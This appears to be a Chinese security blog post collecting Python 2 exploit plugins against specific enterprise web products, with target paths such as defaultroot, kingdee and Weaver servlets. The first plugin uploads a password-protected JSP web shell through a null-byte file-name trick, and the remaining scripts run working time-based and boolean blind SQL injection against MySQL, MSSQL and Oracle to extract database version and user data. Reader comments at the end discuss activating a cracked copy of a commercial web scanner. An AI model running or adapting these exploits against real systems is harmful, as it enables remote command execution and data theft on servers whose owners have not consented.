        header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
                    "Accept-Encoding": "gzip, deflate",
                    "Cookie": "JSESSIONID=ZFqdWFRbzylkhqQYpQCySQMVfnp9sKLVCv2j4k4kQvcY7kHZlFQy!-235610040"}
        rand_num = random.randint(10000,99999)
        file_name = "0day5test"+bytes(rand_num)+".jsp"
        exp_url = ("{domain}/defaultroot/dragpage/upload.jsp".format(domain=self.option.url))
        files="------WebKitFormBoundaryWeQFHZnK6c6SAk9Q\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\""+file_name+"\x00.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<%\r\n    if(\"023\".equals(request.getParameter(\"pwd\"))){\r\n        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\r\n        int a = -1;\r\n        byte[] b = new byte[2048];\r\n        out.print(\"<pre>\");\r\n        while((a=in.read(b))!=-1){\r\n            out.println(new String(b));\r\n        }\r\n        out.print(\"</pre>\");\r\n    }\r\n%>0day5\r\n------WebKitFormBoundaryWeQFHZnK6c6SAk9Q--\r\n"
        #截断使用 \x00
        try:
            response = requests.post(exp_url, data=files, headers=header,timeout=15, verify=False)
            #print response.content
        except Exception, e:
            self.result.error = str(e)
            return
        arg = ("{domain}/defaultroot/upload/customdesktop/".format(domain=self.option.url))
        url2 = arg + file_name
        requests1 = requests.get(url2)
        if "0day5" in requests1.content:
            self.result.status = True
            self.result.description = "目标存在任意文件上传, shell地址"+url2.format(
            url=self.option.url,
        )

盲注,盲注需要出数据的

1.mysql 延时注入

    def verify(self):
        uri = "/Customize/Audit/MessageMonitor/mutilSearch.php?id=1;"
        url = self.option.url.rstrip('/') + uri
        timeout = 3
        delay_sql = "(SELECT * FROM (SELECT(SLEEP({timeout})))CNfW)%23"
        delay_url = url + delay_sql

        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 48
        #;(SELECT * FROM (SELECT(SLEEP(5-(IF([INFERENCE],0,5)))))123)#
        db_version_len_payload =  "(SELECT * FROM (SELECT(SLEEP(3-(IF((select LENGTH(VERSION()))>{value},0,3)))))a)%23" 
        db_version_len_url = url + db_version_len_payload

        db_version_info_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF( ASCII( (SELECT SUBSTR(version(),{index},1) FROM (SELECT 1)x LIMIT 0,1) )>{value},0,3)))))a)%23"
        db_version_info_url = url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        try:
            url = delay_url.format(timeout=timeout)
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
        end = time.time()
        delay = end - start             # 时间延时阀值
        self.print_debug("delay = {0}".format(delay))
        if (end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 100
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m)
            self.print_debug("url = {0}".format(url))
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            self.print_debug("time = {0}".format(end-start))
            if (end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m)
                self.print_debug("url = {0}".format(url))
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                self.print_debug("delay = {0}".format(end-start))
                if (end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

mysql 盲注

    def verify(self):
        uri = "/Accountcenter/accountmiddle"
        url = self.option.url.rstrip('/') + uri
        form    = "phone=1"
        headers = {
             "Content-Type": "application/x-www-form-urlencoded",
        }
        payload_0 = "' RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_0 = form + payload_0
        payload_1 = "' RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_1 = form + payload_1
     
        MAX_DB_VERSION_LEN      = 48
        db_version_len_payload  = "'RLIKE (SELECT (CASE WHEN ((select LENGTH((concat(user(),0x3a,version(),0x3a,database()))))>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_len_form     = form + db_version_len_payload
        db_version_info_payload = "'RLIKE (SELECT (CASE WHEN (ASCII( (SELECT SUBSTR((concat(user(),0x3a,version(),0x3a,database())),{index},1)) )>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_info_form    = form + db_version_info_payload
     
        # 1.测试SQL盲注
        content_len_checker = 0
        try:
            response0 = requests.post(url, data=form, headers=headers, timeout=60, verify=False)
            response1 = requests.post(url, data=exp_url_0, headers=headers, timeout=60, verify=False)
            response2 = requests.post(url, data=exp_url_1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_0
        self.print_debug("content_len_checker = {0}".format(content_len_checker))
        # 2.获取数据库版本信息长度(二分法)
        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 50
        while l <= r:
            m = (l+r)/2
            version_len = db_version_len_form.format(value=m)
            try:
                response = requests.post(url, data=version_len, headers=headers, timeout=60, verify=False)
                #self.print_debug("{payload}  {len}".format(payload=version_len,len=len(response.content)))
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                version_info = db_version_info_form.format(index=i, value=m)
                try:
                    response = requests.post(url, data=version_info, headers=headers, timeout=60, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

2.mssql 盲注

    def verify(self):
        uri = "/c6/Jhsoft.Web.login/NewView.aspx?ID=12"
        url = "{domain}{uri}".format(domain=self.option.url.rstrip('/'), uri = uri)
        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 25
        db_version_len_payload = " AND 1=2 OR (len((select @@VERSION)))>{value} AND 1=1--"
        db_version_len_url = (url + db_version_len_payload).replace(" ", "/**/")
        db_version_info_payload = " AND 1=2 OR (ascii(substring(@@version,{index},1)))>{value} AND 1=1--"
        db_version_info_url = (url + db_version_info_payload).replace(" ", "/**/")
        # 测试盲注的payload
        payload_0 = " AND 1=2 OR 1=2 AND 1=1--"
        exp_url_0 = (url + payload_0).replace(" ", "/**/")
        payload_1 = " AND 1=2 OR 1=1 AND 1=1--"
        exp_url_1 = (url + payload_1).replace(" ", "/**/")
        # 1.测试MSSQ盲注
        content_len_checker = 0
        try:
            response = requests.get(url=url, timeout=15, verify=False)
            response_0 = requests.get(url=exp_url_0, timeout=15, verify=False)
            response_1 = requests.get(url=exp_url_1, timeout=15, verify=False)
            content_len = len(response.content)
            content_len_0 = len(response_0.content)
            content_len_1 = len(response_1.content)
            if (content_len_0 == content_len_1) or \
               ((content_len <= content_len_0) and (content_len >= content_len_1)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error = str(e)
            self.result.status = False
            return

        content_len_checker  = content_len_1

        # 2.获取数据库版本信息长度
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            url = db_version_len_url.format(value=m)
            try:
                response = requests.get(url=url, timeout=15, verify=False)
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))

        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version=''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                url = db_version_info_url.format(index=i, value=m)
                try:
                    response = requests.get(url=url, timeout=15, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro')==-1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

MSSQL 延时注入


        url = "{domain}/kingdee/login/addmsg.jsp?receiveid=all&user_id=1".format(domain=self.option.url.rstrip('/'))

        timeout = 4
        payload = ";waitfor delay '0:0:{timeout}'--"
        exp_url = url + payload

        MAX_DB_VERSION_LEN      = 26
        db_version_len_payload  = ";if(len((select @@VERSION)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_len_url      = url + db_version_len_payload
        db_version_info_payload = ";if(ascii(substring(@@version,{index},1)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_info_url     =  url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        url = exp_url.format(timeout=timeout)
        try:
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        if int(end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度
        db_version_len = 0
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m, timeout=timeout)
            self.print_debug(url)
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            if int(end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        
        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version = ''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m, timeout=timeout)
                self.print_debug(url)
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                if int(end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>=32 and l<=126:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro') == -1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

oracle 盲注[没有找到合适的测量数据库长度的,采取暴力注入]

    def verify(self):
        exp_url = "{domain}/login/../weaver/weaver.docs.docs.ShowDocsImageServlet?docId=10000".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'multipart/form-data',
                   'Referer': exp_url
                   }
        payload0 = " AND 6925=6925"
        payload1 = " AND 6925=6926"
        db_verpay = " AND ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}"
        # 1.测试SQL延迟注入
        content_len_checker = 0
        try:
            response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
            response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
            response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            self.print_debug("normal "+str(content_len))
            self.print_debug("AND 1=1 "+str(content_len_0))
            self.print_debug("AND 1=2 "+str(content_len_1))
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_1
        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                db_date = db_verpay.format(index=i,value=ord(payload))
                try:
                    response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                if len(response.content)>content_len_checker:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

oracle 基于时间盲注[长度测量不生效,直接暴力注入]

    def oracle(self):
        exp_url = "{domain}/defaultroot/evo/ipad/loading.jsp".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
                   'Cookie': 'JSESSIONID=p5FhWpJF621JvJs1pmyMG4PGDyjJK5Y1BwmqsVfyWmH1p4y18fJX!-225297091',
                   'Referer': exp_url
                   }
        timeout = 3
        payload = "' AND 123=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(101)||CHR(98),{timeout}) AND 'EDGD'='EDGD"
        data = "userPassword=CasterJs&isRemember=CasterJs&userName=CasterJs"
        date = data + payload
        db_verpay = "' AND 123=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(101)||CHR(90)||CHR(76),{timeout}) ELSE 123 END) AND 'FHVS'='FHVS"
        db_data = data + db_verpay
        # 1.测试SQL延迟注入
        start = time.time()
        date = date.format(timeout=timeout)
        #self.print_debug(date)
        try:
            response = requests.post(exp_url,data=date,headers=headers ,timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        self.print_debug("time = {0}".format(end-start))
        if int(end-start)<timeout:
            self.result.status = False
            return

        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                start = time.time()
                db_date = db_data.format(index=i,value=ord(payload),timeout=timeout)
                try:
                    response = requests.post(exp_url,data=db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                end = time.time()
                if int(end-start)>timeout or int(end-start)==timeout:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

 

分类
最新文章
最近回复
  • 没穿底裤: 直接在hosts里面.激活的时候访问不到正确的地址
  • Sfish: 屏蔽更新是在控制台设置一下就可以了,还是说要在其他层面做一下限制,比如配置一下hosts让他升...
  • 没穿底裤: 激活,或者屏蔽地址禁止升级
  • 没穿底裤: 呃..这个思路不错啊..
  • Sfish: 博主好,想问一下,wvs11的破解版,是不是每隔一段时间就要重新激活一次才可以?有没有什么解决...